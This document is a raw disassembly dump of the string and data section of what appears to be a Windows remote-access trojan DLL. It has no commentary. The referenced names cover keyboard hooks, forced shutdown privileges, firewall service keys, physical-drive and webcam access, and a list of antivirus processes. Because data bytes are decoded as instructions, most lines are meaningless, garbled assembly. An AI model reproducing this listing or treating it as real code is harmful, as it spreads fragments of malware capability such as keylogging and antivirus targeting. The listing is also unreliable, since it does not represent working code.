add byte [eax + 0xcbb1301], bh
sbb byte [eax], al
mov eax, 0xcbb1301
add byte [edx + 0x10cd0e1d], bh
loop 0x1001f67a
inc esi
jne 0x1001f6e2
imul esp, dword [eax], 0x59
outsd dx, dword [esi]
jne 0x1001f6a5
inc edx
jns 0x1001f6a8
push ecx
push ecx
cmp dh, byte [ecx]
xor dh, byte [ebx]
sub ch, byte [edx]
xor esi, dword [edx]
xor dword [eax], eax
dec eax
je 0x1001f70b
jo str.HTTP_1.0_200_OK_r_n_r_n
xor dword [esi], ebp
xor dword [eax], esp
xor al, 0x30
xor esp, dword [eax]
inc esi
outsd dx, dword [esi]
jb 0x1001f707
imul esp, dword [esp + 0x65], 0xd0a0d6e
outsb dx, byte gs:[esi]
or eax, 0x3c0a0d0a
dec eax
or eax, 0x31483c0a
or bh, byte [eax + ecx*2]
xor dword [esi], edi
xor al, 0x30
xor al, 0x30
xor esp, dword [eax]
inc esi
outsd dx, dword [esi]
and byte [esi + 0x6f], al
jb 0x1001f71c
imul esp, dword [esp + 0x65], 0x482f3c6e
xor dword [esi], edi
add byte ds:[eax], al
add byte [eax], al
add byte [eax], al
dec eax
push esp
push esp
push eax
das
xor dword [esi], ebp
xor byte [eax], ah
xor dh, byte [eax]
xor byte [eax], ah
dec edi
dec ebx
or eax, 0xa0d0a
push eax
add byte [eax], al
add byte [ebx + edx*2 + 0x65], bl
pop esp
push ebx
jb 0x1001f75b
jb 0x1001f75b
jb 0x1001f716
popal
je str.GetSystemDirectoryA
inc edi
je 0x1001f743
jns 0x1001f765
je 0x1001f759
insd dword es:[edi], dx
inc esp
imul esi, dword [edx + 0x65], 0x726f7463
jns str.System
add byte [ebp + 0x69], ch
insd dword es:[edi], dx
invalid
popal
outsb dx, byte [esi]
jae 0x1001f726
push ebp
jo 0x1001f76d
popal
je 0x1001f771
add byte gs:[eax], al
add byte [eax], al
add byte [eax], al
inc ecx
jo 0x1001f783
insb byte es:[edi], dx
imul esp, dword [ebx + 0x61], 0x6e6f6974
popal
je 0x1001f782
outsd dx, dword [esi]
outsb dx, byte [esi]
jae 0x1001f779
pop esp
imul esp, dword [ebp + 0x78], 0x726f6c70
js 0x1001f78e
js 0x1001f78e
pop esp
jae 0x1001f794
insb byte es:[edi], dx
insb byte es:[edi], dx
pop esp
outsd dx, dword [esi]
jo str.sharedaccess
outsb dx, byte [esi]
pop esp
arpl word [edi + 0x6d], bp
insd dword es:[edi], dx
popal
outsb dx, byte [esi]
add byte fs:[eax], al
add byte [eax], al
push ebx
jns 0x1001f7b6
je 0x1001f7aa
insd dword es:[edi], dx
add byte [eax], al
push ebx
arpl word gs:[ebp + 0x72], si
imul esi, dword [ecx + edi*2], 0x41000000
inc ecx
jo 0x1001f7c7
insb byte es:[edi], dx
imul esp, dword [ebx + 0x61], 0x6e6f6974
arpl word [ecx + 0x74], sp
imul ebp, dword [edi + 0x6e], 0x74654700
inc edi
je 0x1001f7b0
je 0x1001f7c6
outsd dx, dword [esi]
outsb dx, byte [esi]
add byte [edi + 0x65], al
inc edi
je 0x1001f7b0
popal
jae 0x1001f7db
inc ebp
jb str.ExitWindowsEx
outsd dx, dword [esi]
jb 0x1001f76d
add byte [eax], al
add byte [ebx + 0x65], dl
push ebx
inc esp
inc esp
bound esi, qword gs:[ebp + 0x67]
push eax
jb 0x1001f7e3
imul esi, dword [esi + 0x69], 0x6567656c
add byte [eax], al
jbe 0x1001f7e5
insb byte es:[edi], dx
add byte gs:[bx + si], al
add byte [eax], al
inc edi
je 0x1001f7cb
add byte [edi + 0x65], al
inc edi
je 0x1001f7cb
jne 0x1001f7fc
jb 0x1001f7f1
outsb dx, byte [esi]
je 0x1001f7df
push eax
jb 0x1001f800
arpl word [ebp + 0x73], sp
jae 0x1001f796
add byte [eax], al
jae 0x1001f802
popal
jb 0x1001f802
popal
arpl word [ebx + 0x65], sp
jae 0x1001f817
add byte [eax], al
add byte [eax], al
inc ebp
js 0x1001f814
imul esi, dword [eax + edx*2 + 0x72], 0x7365636f
je 0x1001f7fd
jb 0x1001f81e
arpl word [ebp + 0x73], sp
jae 0x1001f826
jae str.SeShutdownPrivilege
add byte [ebx + 0x65], dl
push ebx
invalid
push ebx
push ebx
push ebx
push 0x6f647475
ja str.or_closed_wait
push eax
jb 0x1001f82a
jbe str.or_closed_wait
insb byte es:[edi], dx
add byte gs:[si + 0x5c], bl
pop esp
pop esp
pop esp
add byte gs:[esp + ebx*2 + 0x2e], bl
pop esp
pop esp
invalid
add byte [esp + ebx*2 + 0x2e], bl
pop esp
pop esp
invalid
pop esp
push eax
dec eax
pop ecx
push ebx
dec ecx
inc ebx
inc ecx
dec esp
inc esp
push edx
dec ecx
push esi
inc ebp
xor byte [eax], al
add byte [ebp + 0x78], al
inc ebp
js 0x1001f848
je 0x1001f838
imul ebp, dword [esi + 0x64], 0x4573776f
inc ebp
js 0x1001f848
je 0x1001f838
imul ebp, dword [esi + 0x64], 0x4573776f
outsd dx, dword fs:[esi]
ja 0x1001f85a
inc ebp
js 0x1001f7ea
add byte [eax], al
push eax
jb 0x1001f85e
dec ebp
popal
outsb dx, byte [esi]
add byte [ebx + 0x68], dl
push ebx
push 0x5f6c6c65
push esp
jb 0x1001f85e
popal
jns 0x1001f856
outsb dx, byte [esi]
add byte fs:[eax], al
add byte [ebx + 0x65], dh
jae 0x1001f86b
add byte [eax], al
jae 0x1001f86b
je 0x1001f828
arpl word [ecx + 0x75], sp
imul ebp, dword fs:[edi], 0x6f6f6420
and byte [edi + ebp*2 + 0x6f], ah
jb 0x1001f836
outsd dx, dword [esi]
jo 0x1001f87e
outsb dx, byte [esi]
add byte [eax], al
jae 0x1001f883
je 0x1001f840
arpl word [ecx + 0x75], sp
imul ebp, dword fs:[edi + 0x20], 0x6f64
outsd dx, dword [esi]
and byte [edi + ebp*2], ah
add byte [edi + 0x72], ch
outsd dx, dword [esi]
jb 0x1001f84f
arpl word [edi + ebp*2 + 0x73], bp
invalid
outsd dx, dword fs:[esi]
add byte [eax], al
outsd dx, dword [esi]
jb 0x1001f84f
arpl word [edi + ebp*2 + 0x73], bp
and byte fs:[edi + 0x61], dh
and byte fs:[edi + 0x61], dh
ja 0x1001f899
imul esi, dword [eax + eax], 0x74697257
push edi
jb 0x1001f8a8
invalid
push eax
jb 0x1001f8b3
arpl word [ebp + 0x73], sp
jae 0x1001f896
dec ebp
insd dword es:[edi], dx
outsd dx, dword [esi]
jb 0x1001f8c7
add byte [eax], al
push esi
imul esi, dword [edx + 0x74], 0x416c6175
add byte [esi + 0x69], dl
push esi
invalid
jb 0x1001f8c8
jne 0x1001f8b7
insb byte es:[edi], dx
inc ecx
insb byte es:[edi], dx
insb byte es:[edi], dx
outsd dx, dword [esi]
arpl word [ebp + 0x78], ax
add byte [eax], al
inc ebx
insb byte es:[edi], dx
outsd dx, dword [esi]
jae 0x1001f8ca
dec eax
popal
outsb dx, byte [esi]
insb byte es:[edi], dx
add byte gs:[ebx + 0x48], dl
push ebx
dec eax
add byte [ebx + 0x48], dl
push ebx
dec eax
inc esp
insb byte es:[edi], dx
je 0x1001f8d9
dec ebx
jns 0x1001f8b9
add byte [eax], al
add byte [eax], al
jae 0x1001f8e6
insb byte es:[edi], dx
ja 0x1001f8e2
jo str.HEAD
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [ebx + 0x74], dl
push ebx
je str.HEAD
jb 0x1001f901
push ebx
jb 0x1001f907
imul esp, dword [ebx + 0x65], 0x41
add byte [eax], al
push ecx
jne 0x1001f900
jb 0x1001f916
push ebx
jb 0x1001f917
imul esp, dword [ebx + 0x65], 0x74617453
jne 0x1001f91d
add byte [eax], al
dec edi
jo str.winlogon.exe
outsb dx, byte gs:[esi]
outsb dx, byte [esi]
push ebx
inc ebx
dec ebp
popal
outsb dx, byte [esi]
popal
jb 0x1001f8fb
jb 0x1001f8fb
inc ecx
add byte [eax], al
popal
jbe 0x1001f921
jo 0x1001f92b
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [eax], al
dec edi
jo 0x1001f934
outsb dx, byte [esi]
push eax
jb 0x1001f942
arpl word [ebp + 0x73], sp
jae str.CONNECT
inc ebx
dec edi
dec esi
dec esi
inc ebp
inc ebx
push esp
and byte [eax], al
add byte [eax], al
add byte [eax + 0x4f], dl
push eax
dec edi
add byte [eax], al
push eax
dec edi
push ebx
push esp
and byte [eax], al
add byte [eax], al
dec eax
inc ebp
inc ecx
inc esp
and byte [eax], al
add byte [eax], al
inc edi
inc ebp
push esp
and byte [eax], al
add byte [eax], al
add byte [eax + 0x74], ch
invalid
je 0x1001f973
invalid
add byte [eax], al
add byte [eax], al
cmp ch, byte [edi]
add byte [eax], al
add byte [edx], bh
das
das
add bl, bh
jl 0x1001f8ea
jle 0x1001f8ae
jnp 0x1001f915
je 0x1001f969
push esp
add byte [eax], al
ja 0x1001f97f
imul ebp, dword [esi + 0x6c], 0x6e6f676f
outsb dx, byte [esi]
insb byte es:[edi], dx
outsd dx, dword [esi]
outsd dx, dword [si]
outsb dx, byte [esi]
js 0x1001f985
js 0x1001f985
add byte [eax], al
add byte [eax], al
and eax, 0x61622e64
add byte [eax], al
add byte [0x61622e64], ah
and eax, 0x61622e64
imul eax, dword [eax], 0
dec ebp
outsd dx, dword [esi]
add byte [ebp + 0x6f], cl
dec ebp
outsd dx, dword [esi]
jbe 0x1001f995
inc esi
imul ebp, dword [ebp + 0x45], 0xd004178
or eax, 0x30255b0a
xor ah, byte [edi + ebp + 0x25]
xor byte [edx], dh
das
inc ebp
js 0x1001f978
add byte [0x30255b0a], cl
or eax, 0x30255b0a
xor ah, byte [edi + ebp + 0x25]
xor byte [edx], dh
das
xor ah, byte [edi + ebp + 0x25]
and byte fs:[0x64003230], ah
cmp ah, byte fs:[0x3a643230]
and eax, 0x30252064
xor al, byte [eax]
cmp ah, byte fs:[0x3a643230]
and eax, 0x5d643230
and byte [eax], ch
and eax, 0xa0d2973
add byte [ebp], bl
add byte [eax], al
or eax, 0x7000000a
ret 0x1001
dec eax
add byte [eax], al
push ebx
je 0x1001f9cf
imul ebp, dword [esi + 0x64], 0x4873776f
outsd dx, dword [esi]
outsd dx, dword [esi]
imul eax, dword [ebp + 0x78], 0x41
add byte [eax], al
add byte [ebp + 0x6e], dl
push ebp
outsb dx, byte [esi]
push 0x576b6f6f
imul ebp, dword [esi + 0x64], 0x4873776f
dec eax
outsd dx, dword [esi]
outsd dx, dword [esi]
imul eax, dword [ebp + 0x78], 0
push edx
inc ebp
inc edi
pop edi
inc edx
dec ecx
dec esi
inc ecx
push edx
pop ecx
add byte [eax], al
and eax, 0x7334322d
and byte [0x7335312d], ah
and byte [0x5200000a], cl
push edx
inc ebp
inc edi
pop edi
dec ebp
push ebp
dec esp
push esp
dec ecx
pop edi
push ebx
pop edx
add byte [eax], al
add byte [eax], al
push edx
inc ebp
inc edi
pop edi
inc esp
push edi
dec edi
push edx
inc esp
add byte [eax], al
add byte [0x7334322d], ah
and eax, 0x7334322d
and byte [0x7335312d], ah
and byte [0xa0d2073], ah
add byte [eax], al
add byte [edx + 0x45], dl
push edx
inc ebp
inc edi
pop edi
inc ebp
pop eax
push eax
inc ecx
dec esi
inc esp
pop edi
push ebx
pop edx
add byte [eax], al
add byte [edx + 0x45], dl
push edx
inc ebp
inc edi
pop edi
push ebx
pop edx
add byte [eax], al
pop ebx
and eax, 0xa0d5d73
add byte [eax], al
and eax, 0x7334322d
and byte [0x7335312d], ah
and byte [eax], dh
add byte [eax], al
add byte [eax + 0x25], bh
js 0x1001fa3f
js str.LocalSize
and eax, 0xd202964
or al, byte [eax]
add byte [edx + 0x65], dl
push edx
inc ebx
jb 0x1001fa8f
popal
je 0x1001fa92
dec ebx
jns 0x1001fa76
js 0x1001fa74
add byte [edx + 0x65], dl
push edx
inc esp
insb byte es:[edi], dx
je 0x1001faa2
dec ebx
jns 0x1001fa82
add byte [eax], al
add byte [edi + ebp*2 + 0x63], cl
dec esp
outsd dx, dword [esi]
arpl word [ecx + 0x6c], sp
dec esp
outsd dx, dword [esi]
arpl word [ecx + 0x6c], sp
push ebx
imul edi, dword [edx + 0x65], 0x44000000
inc esp
jae str.reateCompatibleDC
jb 0x1001fac5
jns 0x1001fa9b
jne 0x1001facc
jae 0x1001facb
jb 0x1001fa5e
add byte [eax], al
inc edx
insb byte es:[edi], dx
outsd dx, dword [esi]
arpl word [ebx + 0x49], bp
outsb dx, byte [esi]
jo 0x1001fade
je 0x1001fa6b
add byte [ebp + 0x6f], ch
insd dword es:[edi], dx
outsd dx, dword [esi]
jne 0x1001fae3
pop edi
jbe 0x1001fada
outsb dx, byte gs:[esi]
outsb dx, byte [esi]
je str.keybd_event
imul esp, dword [ebp + 0x79], 0x62
pop edi
jbe 0x1001fae6
outsb dx, byte [esi]
je str.MapVirtualKeyA
dec ebp
popal
jo 0x1001fade
imul esi, dword [edx + 0x74], 0x4b6c6175
jns 0x1001fad3
add byte [eax], al
inc edi
insb byte es:[edi], dx
outsd dx, dword [esi]
bound esp, qword [ecx + 0x6c]
push ebp
outsb dx, byte [esi]
insb byte es:[edi], dx
outsd dx, dword [esi]
arpl word [ebx], bp
add byte [eax], al
add byte [edi + 0x70], cl
dec edi
jo 0x1001fb0c
outsb dx, byte [esi]
add byte [eax], al
dec edi
jo 0x1001fb0c
outsb dx, byte [esi]
inc ebx
insb byte es:[edi], dx
imul esi, dword [eax + 0x62], 0x6472616f
add byte [eax], al
add byte [ebx + 0x65], dl
push ebx
je 0x1001fb0a
arpl word gs:[eax + eax + 0x47], si
inc edi
inc esp
dec ecx
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [0x74616572], bh
cmp eax, 0x74616572
cmp eax, 0x74616572
popal
je 0x1001fb33
inc ebx
inc ebx
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x1001fb34
je 0x1001fb3e
bound ebp, qword [ebp + 0x44]
inc ebx
add byte [eax], al
das
insb byte es:[edi], dx
insb byte es:[edi], dx
je 0x1001fb47
inc esp
inc ebx
add byte [eax], al
add byte [eax], al
inc edi
je 0x1001fb2f
jne 0x1001fb60
jae 0x1001fb5f
jb 0x1001fb3b
outsb dx, byte [esi]
outsw dx, word [esi]
add byte [eax], al
add byte [edi + 0x65], al
inc edi
je 0x1001fb40
dec ecx
inc edx
imul esi, dword [ebx + esi*2], 0x65440000
inc esp
jae 0x1001fb6b
jb 0x1001fb73
jo 0x1001fb80
imul ebp, dword [edi + 0x6e], 0x636f4c00
dec esp
outsd dx, dword [esi]
arpl word [ecx + 0x6c], sp
push ebx
jns 0x1001fb8b
je 0x1001fb7f
insd dword es:[edi], dx
add byte [ecx + 0x75], dl
push ecx
jne 0x1001fb84
jb 0x1001fb9a
push ebx
jb 0x1001fb9b
imul esp, dword [ebx + 0x65], 0x666e6f43
imul esp, dword [edi + 0x41], 0x6c6e5500
push ebp
outsb dx, byte [esi]
insb byte es:[edi], dx
add byte [ebp + 0x6e], dl
push ebp
outsb dx, byte [esi]
insb byte es:[edi], dx
outsd dx, dword [esi]
arpl word [ebx + 0x53], bp
jb 0x1001fbb0
imul esp, dword [ebx + 0x65], 0x61746144
arpl word [ebp + 0x44], sp
popal
je 0x1001fba2
popal
bound esp, qword [ecx + 0x73]
add byte gs:[eax], al
add byte [edi + ebp*2 + 0x63], cl
dec esp
outsd dx, dword [esi]
arpl word [ebx + 0x53], bp
jb 0x1001fbc6
invalid
arpl word [ebp + 0x44], sp
popal
je 0x1001fbb8
bound esp, qword [ecx + 0x73]
add byte gs:[ebx + 0x6d], bl
pop esp
invalid
insd dword es:[edi], dx
js 0x1001fbc9
js 0x1001fbc9
add byte [eax], al
add byte [eax], al
push esp
jb 0x1001fbd9
insd dword es:[edi], dx
imul ebp, dword [esi + 0x61], 0x72506574
outsd dx, dword [esi]
arpl word [ebp + 0x73], sp
jae 0x1001fb79
add byte [eax], al
add byte [eax + 0x65], dl
push eax
imul ecx, dword gs:[esi + 0x61], 0x6d
imul ecx, dword [esi + 0x61], 0x6d
dec esi
popal
insd dword es:[edi], dx
push eax
imul esi, dword [eax + 0x65], 0x41000000
inc ecx
inc edx
add byte [ecx + 0x42], al
inc ecx
inc edx
inc ebx
inc esp
inc ebp
inc esi
inc edi
dec eax
dec ecx
dec edx
dec ebx
dec esp
dec ebp
dec esi
dec edi
push eax
push ecx
push edx
push ebx
push esp
push ebp
push esi
push edi
pop eax
pop ecx
pop edx
popal
bound esp, qword [ebx + 0x64]
push 0x6a69
imul ebp, dword [ebp + ebp*2 + 0x6e], 0x6f
jo 0x1001fc28
jb str.HARDWAREDESCRIPTIONSystemCentralProcessor_
jae 0x1001fc2e
je 0x1001fc30
jne 0x1001fc32
jbe 0x1001fc34
ja 0x1001fc36
js 0x1001fc38
jns 0x1001fc3a
jp 0x1001fbf1
xor byte [ecx], dh
xor dh, byte [ebx]
xor al, 0x35
aaa
cmp byte [ecx], bh
xor dword [edx], esi
xor esi, dword [esi + 0x39383736]
cmp dword [ebx], ebp
das
sub ebp, dword [edi]
add byte [eax], al
add byte [eax], al
and esp, dword [ebx]
and esp, dword [ebx]
add byte [eax], al
add byte [eax], al
dec ecx
outsb dx, byte [esi]
je 0x1001fc41
jb 0x1001fc4c
je 0x1001fc33
popal
inc esi
imul ebp, dword [ebp], 0x4d000000
dec ebp
outsd dx, dword [esi]
jp 0x1001fc59
insb byte es:[edi], dx
insb byte es:[edi], dx
popal
das
xor al, 0x2e
xor byte [eax], ah
sub byte [ebx + 0x6f], ah
insd dword es:[edi], dx
jo 0x1001fc5f
je 0x1001fc69
bound ebp, qword [ebp + 0x29]
add byte [eax], al
add byte [eax], al
push edx
dec edi
jo 0x1001fc73
outsb dx, byte [esi]
dec ebx
jns 0x1001fc58
js 0x1001fc56
add byte [eax], al
add byte [eax + 0x74], ch
invalid
je 0x1001fc8f
invalid
jae 0x1001fc58
das
das
add byte [eax], al
add byte [eax], al
jle 0x1001fc73
dec eax
jp 0x1001fc29
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + 0x41], cl
dec eax
inc ecx
dec eax
inc ecx
push edx
inc esp
push edi
inc ecx
push edx
inc ebp
pop esp
inc esp
inc ebp
push ebx
inc ebx
push edx
dec ecx
push eax
push esp
dec ecx
dec edi
dec esi
pop esp
push ebx
jns 0x1001fcb7
je 0x1001fcab
insd dword es:[edi], dx
pop esp
inc ebx
outsb dx, byte gs:[esi]
je 0x1001fcbf
jb 0x1001fcaf
popal
insb byte es:[edi], dx
push eax
jb 0x1001fcc1
arpl word [ebp + 0x73], sp
jae 0x1001fcc6
outsd dx, dword [esi]
jb 0x1001fcb5
pop esp
add byte [eax], al
add byte [ebx + 0x61], ah
arpl word [ecx + 0x70], sp
inc edi
inc edi
je 0x1001fca7
jb 0x1001fcce
jbe 0x1001fccc
jb 0x1001fcad
jae 0x1001fccf
jb 0x1001fcd7
jo 0x1001fce4
imul ebp, dword [edi + 0x6e], 0x41
add byte [0xce000075], ah
inc ecx
add byte [eax], al
add byte [eax], al
and eax, 0xce000075
mov ah, 0xb7
mov byte [0xd6cf], al
sar edx, 0xd6
scasb al, byte es:[edi]
mov ecx, 0x440000c8
inc esp
inc esp
jb str.xy3.exe
outsd dx, dword [si]
outsb dx, byte [esi]
dec esi
jae 0x1001fd0a
js 0x1001fcff
add byte [eax], al
ret
add byte [ebp + 0x79], ch
insd dword es:[edi], dx
jns 0x1001fcd9
js 0x1001fd13
js 0x1001fd13
add byte gs:[eax], al
add byte [eax], al
add ah, cl
in al, dx
iretd
int3
add byte [eax], al
add byte [edi + esi*2 + 0x32], dh
je 0x1001fd31
xor ch, byte [esi]
js 0x1001fd24
add ah, al
cmpsd dword [esi], dword es:[edi]
retf 0xcade
mov ebp, 0xe7
add byte [ecx + 0x51], dl
push ecx
push ecx
mov ebx, 0xc4cfaa
add byte [ecx + 0x51], dl
push ecx
push ecx
push 0x6d616778
stosb byte es:[edi], al
iretd
js 0x1001fd40
popal
insd dword es:[edi], dx
js 0x1001fd45
add byte [eax], al
add byte [eax], al
mov ah, 0xf3
mov ebx, 0xd3f7ceb0
into
not ebx
into
xor eax, dword [eax]
add byte [eax], al
js 0x1001fd6b
xor ebp, dword [esi]
js 0x1001fd5c
add byte [ebx + esi*8 - 0x8314f45], dh
ror esi, cl
into
xor al, byte [eax]
add byte [eax], al
js 0x1001fd7f
xor ch, byte [esi]
js 0x1001fd70
add byte gs:[ebp - 0x4c3d3028], dh
add byte [ebp - 0x4c3d3028], dh
invalid
jmp 0x1001fce8
ret
sar edx, 0xc8
test al, 0
add byte [eax], al
add byte [ecx], dh
xor dword [edi + 0x77], ebp
invalid
js 0x1001fdb4
add byte [eax + esi*2 + 0x2e], ah
jo 0x1001fd81
js 0x1001fdbb
add byte [eax], al
popal
jbe 0x1001fdc2
jne 0x1001fdbe
popal
jb 0x1001fdc3
js 0x1001fdc8
add byte [ecx + 0x76], ah
popal
jbe 0x1001fdc8
jae 0x1001fddd
add byte [eax], al
add byte [ecx + 0x73], ah
popal
jae 0x1001fdd7
inc esp
imul esi, dword [ebx + 0x70], 0x6578652e
imul esi, dword [ebx + 0x70], 0x6578652e
add byte [ecx + 0x76], ah
popal
invalid
imul esi, dword [edx + 0x61], 0x61000000
popal
jbe 0x1001fde6
add byte [ecx + 0x76], ah
popal
jbe 0x1001fde6
outsb dx, byte gs:[esi]
outsb dx, byte gs:[esi]
je 0x1001fdec
jb 0x1001fdb7
js 0x1001fdf1
add byte [eax], al
add byte [eax], al
invalid
js 0x1001fe1d
add byte gs:[eax], al
add byte [eax], al
add byte [eax], al
mov ebp, 0xbdc9f0
add byte [ebp + 0xbdc9f0], bh
leave
mov ebp, 0
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x78], ch
imul edi, dword [eax + 0x65], 0x74
invalid
imul edi, dword [eax + 0x65], 0x74
jb 0x1001fe2b
popal
jns 0x1001fdfa
js 0x1001fe34
add byte [esi + 0x4f], cl
dec esi
dec edi
inc esp
xor esi, dword [edx]
add byte [eax], al
add dl, al
mov edi, 0xc8b7a7
add byte [ebx], dh
invalid
mov bh, 0xc8
add byte [eax], al
xor esi, dword [esi]
xor cl, cl
enter 0, 0x33
invalid
xor cl, cl
mov cl, 0xb6
mov esi, 0x30363300
xor esi, dword [esi]
xor byte [ebx + 0x64], dh
js 0x1001fe56
js 0x1001fe56
add byte [eax], al
add al, cl
invalid
add byte [eax], al
push edx
popal
jbe 0x1001fe4d
outsd dx, dword [esi]
outsb dx, byte [esi]
inc esp
js 0x1001fe6c
add byte [ebp + 0xf1c3ad], bh
add byte [eax], al
add byte [ebx + 0x76], cl
dec ebx
jbe 0x1001fe60
outsd dx, dword [esi]
outsb dx, byte [esi]
pop eax
push eax
js 0x1001fe80
add byte [edi + 0xcdb0a8], bh
test al, 0xb0
int 0
add byte [eax], al
add byte [ecx + 0x76], ah
popal
jbe 0x1001fe97
invalid
jbe 0x1001fe97
js 0x1001fe90
js 0x1001fe90
add byte [ebx], dh
xor byte ss:[eax - 0x3154374e], dh
ror dl, 0xbf
add byte [ebx], dh
xor esi, dword [esi]
xor byte [edx + esi*2 + 0x61], dh
je 0x1001feaf
popal
jns 0x1001fe6e
js 0x1001fea8
add byte [edi + 0x65], al
inc edi
je 0x1001fe9b
jns 0x1001febd
je 0x1001feb1
insd dword es:[edi], dx
dec ecx
outsb dx, byte [esi]
outsw dx, word [esi]
add byte [eax], al
add byte [0x25eccc73], ah
invalid
jae 0x1001fe25
int3
mov cl, 0x25
jae 0x1001fe16
salc
add byte [eax], al
add byte [eax], al
push ebp
push ebx
inc ebp
push edx
inc ebp
dec esi
push esi
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [ebx + 0x72], al
inc ebx
jb 0x1001fed8
popal
je 0x1001fedb
inc ebp
outsb dx, byte [esi]
jbe 0x1001fee3
jb 0x1001feeb
outsb dx, byte [esi]
insd dword es:[edi], dx
outsb dx, byte gs:[esi]
je str.WTSGetActiveConsoleSessionId
insb byte es:[edi], dx
outsd dx, dword [esi]
arpl word [ebx], bp
add byte [ebx + 0x72], al
inc ebx
jb 0x1001fef0
popal
je 0x1001fef3
push eax
jb 0x1001ff00
outsd dx, dword [esi]
arpl word [ebp + 0x73], sp
jae 0x1001fed7
jae 0x1001feed
push ebp
jae 0x1001feff
jb 0x1001fedd
inc ecx
add byte [eax], al
add byte [eax], al
push ebx
je 0x1001fef8
outsd dx, dword [esi]
imul esp, dword [ebp + 0x6e], 0x49
dec ecx
outsb dx, byte [esi]
outsw dx, word [esi]
jb 0x1001ff1b
popal
je 0x1001ff1a
outsd dx, dword [esi]
outsb dx, byte [esi]
add byte [edi + 0x69], dh
ja 0x1001ff1f
outsb dx, byte [esi]
jae 0x1001ff2d
popal
xor byte [esp + 0x65], bl
popaw
popaw
jne 0x1001ff2e
je str.WTSGetActiveConsoleSessionId
push edi
push esp
push ebx
inc edi
je 0x1001ff0c
arpl word [ecx + ebp*2 + 0x76], si
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
jae 0x1001ff44
insb byte es:[edi], dx
push ebx
push ebx
jae 0x1001ff4e
imul ebp, dword [edi + 0x6e], 0x6449
outsb dx, byte [esi]
dec ecx
add byte fs:[eax], al
add byte [eax], al
dec ebx
jb 0x1001ff56
add byte [ebx + 0x65], cl
dec ebx
jb 0x1001ff56
insb byte es:[edi], dx
xor esi, dword [edx]
insb byte es:[edi], dx
xor ch, byte [esi]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [eax], al
push eax
and eax, 0x79795c79
add byte [eax + 0x25], dl
push eax
invalid
jns str.HGNAHS
jns 0x1001ff73
push esp
push esp
inc ebp
dec ecx
dec edi
dec ecx
push ebp
and eax, 0x642564
add byte [eax], al
insb byte es:[edi], dx
outsd dx, dword [esi]
bound esp, qword [ecx + 0x6c]
insb byte es:[edi], dx
add byte [eax], al
add byte [ebx + 0x65], dl
push ebx
je 0x1001ff69
outsb dx, byte [esi]
push 0x6c646e61
inc ebp
inc ebp
js 0x1001ff82
jo 0x1001ff96
imul ebp, dword [edi + 0x6e], 0x746c6946
jb str.OpenEventA
dec edi
jo 0x1001ff94
outsb dx, byte gs:[esi]
outsb dx, byte [esi]
inc ebp
jbe 0x1001ff98
outsb dx, byte [esi]
je 0x1001ff77
add byte [eax], al
ja 0x1001ffa3
outsb dx, byte [esi]
jae 0x1001ffb1
popal
xor byte [eax], al
dec edi
jo 0x1001ffa8
outsb dx, byte [esi]
push edi
imul ebp, dword [esi + 0x64], 0x7453776f
popal
je 0x1001ffb8
imul ebp, dword [edi + 0x6e], 0x48000041
dec eax
outsd dx, dword [esi]
outsb dx, byte [esi]
inc ecx
add byte [eax], al
dec eax
inc edi
dec esi
inc ecx
dec eax
push ebx
add byte [eax], al
jb 0x1001ffd3
outsb dx, byte [esi]
insb byte es:[edi], dx
insb byte es:[edi], dx
xor esi, dword [edx]
js 0x1001ffcd
and byte [edx], ah
and eax, 0x452c2273
and ah, byte [0x452c2273]
inc ecx
push ebx
push esp
dec esi
dec edi
inc esp
and byte [0x73], ah
jae 0x1001ff79
add byte [eax], al
add byte [esi + 0x72], al
inc esi
jb 0x1001ffe4
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
jae 0x1001fff4
insb byte es:[edi], dx
add byte gs:[ebx + 0x65], dl
push ebx
je 0x1001ffdf
jb 0x10020005
imul esp, dword [ebx + 0x65], 0x74617453
popal
je 0x1002000c
jne 0x1002000b
jae 0x1001ff99
add byte [eax], al
add byte [eax], al
invalid
add byte [eax], al
add ah, al
jecxz 0x1001ff69
invalid
int 0xc2
lock add byte [eax], al
int 0xe6
aam 0xb6
mov edi, 0x440000d8
inc esp
push ebx
dec ebp
popal
imul ebp, dword [esi + 0x2e], 0x657865
add byte [ebx + 0x3a], al
inc ebx
cmp bl, byte [edi + edx*2 + 0x49]
js 0x1002001f
add byte [eax], al
inc ebx
cmp bl, byte [edi + edx*2 + 0x49]
dec esi
inc esp
dec edi
push edi
push ebx
add byte [eax], al
push edx
push ecx
jne 0x10020033
jb 0x10020049
jb 0x10020049
push esi
popal
insb byte es:[edi], dx
jne 0x1002003a
inc ebp
js 0x10020019
add byte [eax], al
add byte [eax], al
push eax
jb 0x1002004e
arpl word [ebp + 0x73], sp
jae 0x10020017
xor cl, byte [esi + 0x65]
js 0x1002005d
add byte [eax], al
add byte [eax + 0x72], dl
push eax
jb 0x1002005e
arpl word [ebp + 0x73], sp
jae 0x10020027
xor al, byte [esi + 0x69]
jb 0x1002006c
je 0x1001fffb
add byte [ebp + 0x6e], al
inc ebp
outsb dx, byte [esi]
jne 0x1002006d
push eax
jb 0x10020072
arpl word [ebp + 0x73], sp
jae 0x10020055
jae 0x1002007a
dec ebp
outsd dx, dword [esi]
jne 0x10020078
insb byte es:[edi], dx
jae 0x1002000f
add byte [eax + 0x53], dl
push eax
push ebx
inc ecx
push eax
dec ecx
inc esp
dec esp
dec esp
add byte [eax], al
add byte [edi + 0x65], al
inc edi
je 0x1002006d
dec ebp
outsd dx, dword [esi]
jne 0x10020090
inc esi
imul ebp, dword [ebp + 0x4e], 0x45656d61
insb byte es:[edi], dx
dec esi
popal
insd dword es:[edi], dx
inc ebp
js 0x10020071
add byte [eax], al
add byte [eax], al
inc edi
je 0x1002008f
add byte [edi + 0x65], al
inc edi
je 0x1002008f
imul ebp, dword [esi + 0x64], 0x6854776f
jb 0x100200a6
outsd dx, dword fs:[esi]
ja 0x10020092
push 0x64616572
push eax
popal
push eax
jb 0x100200b5
arpl word [ebp + 0x73], sp
jae 0x10020094
